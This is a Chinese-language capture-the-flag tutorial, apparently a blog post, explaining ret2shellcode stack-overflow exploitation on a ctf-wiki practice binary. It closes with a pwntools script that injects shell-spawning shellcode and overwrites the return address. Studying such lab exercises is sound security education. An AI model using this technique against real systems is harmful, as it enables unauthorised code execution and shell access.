pwn入门04---ret2shellcode

原理

ret2shellcode,当程序当中没有system函数时,我们需要自己往栈上写入一段shellcode,然后控制eip使其指向shellcode的地址。

shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。

在栈溢出的基础上,要想执行 shellcode,需要对应的程序在运行时,shellcode 所在的区域具有可执行权限。即必须关闭堆栈不可执行功能。
pwn入门04---ret2shellcode

例题(来自ctfwiki):

首先checksec:

pwn入门04---ret2shellcode
发现程序没有开启任何保护,并且存在可读可写可执行段。

然后ida32打开:

pwn入门04---ret2shellcode首先观察到程序没有system函数,并且存在可读可写可执行段,存在栈溢出漏洞,考虑是ret2shellcode。
程序逻辑非常简单,通过gets函数读入数据给v4,然后再将v4的值复制到buf2中,而buf2正好处于可读可写可执行段中,所以shellcode的地址应该是buf2的地址。

pwn入门04---ret2shellcode

通过cyclic确定需要填入的垃圾数据大小为112。

思路:

首先向程序中写入shellcode,然后再填入垃圾数据,shellcode和垃圾数据的大小之和为112,可使用ljust方法,然后写入返回地址,程序写入后会被复制到buf2中,buf2的地址为0x804a080。

exp:

from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
#生成shellcode
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
#先写入shellcode,剩余位置用A补齐
sh.interactive()             
上一篇:攻防世界—pwn—level2


下一篇:七夕_DASCTF_pwn_复现